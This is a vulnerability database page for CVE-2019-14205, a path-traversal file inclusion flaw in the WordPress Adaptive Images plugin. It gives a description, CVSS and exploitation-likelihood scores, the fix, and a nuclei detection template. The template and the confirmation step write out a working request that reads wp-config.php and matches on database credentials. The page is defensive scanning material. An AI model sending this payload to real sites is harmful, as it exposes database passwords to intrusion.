HexBrain

Browse / CVEs / CVE-2019-14205

CVE-2019-14205· nevma / adaptive images· CWE-22

WordPress Nevma Adaptive Images <0.6.67 - Local File Inclusion

highseverity
7.5CVSS score
63.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress Nevma Adaptive Images plugin before 0.6.67 allows remote attackers to retrieve arbitrary files via the $REQUEST['adaptive-images-settings']['source_file'] parameter in adaptive-images-script.php.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to sensitive information disclosure or remote code execution.

Fix

Update to the latest version of the plugin (0.6.67) or apply the patch provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2019-14205 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-14205

info:
  name: WordPress Nevma Adaptive Images <0.6.67 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    WordPress Nevma Adaptive Images plugin before 0.6.67 allows remote attackers to retrieve arbitrary files via the $REQUEST['adaptive-images-settings']['source_file'] parameter in adaptive-images-script.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to sensitive information disclosure or remote code execution.
  remediation: |
    Update to the latest version of the plugin (0.6.67) or apply the patch provided by the vendor.
  reference:
    - https://github.com/security-kma/EXPLOITING-CVE-2019-14205
    - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html
    - https://wordpress.org/plugins/adaptive-images/#developers
    - https://github.com/markgruffer/markgruffer.github.io/blob/master/_posts/2019-07-19-adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.markdown
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14205
    cwe-id: CWE-22
    epss-score: 0.63375
    epss-percentile: 0.99216
    cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: nevma
    product: adaptive_images
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,lfi,wp,nevma,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from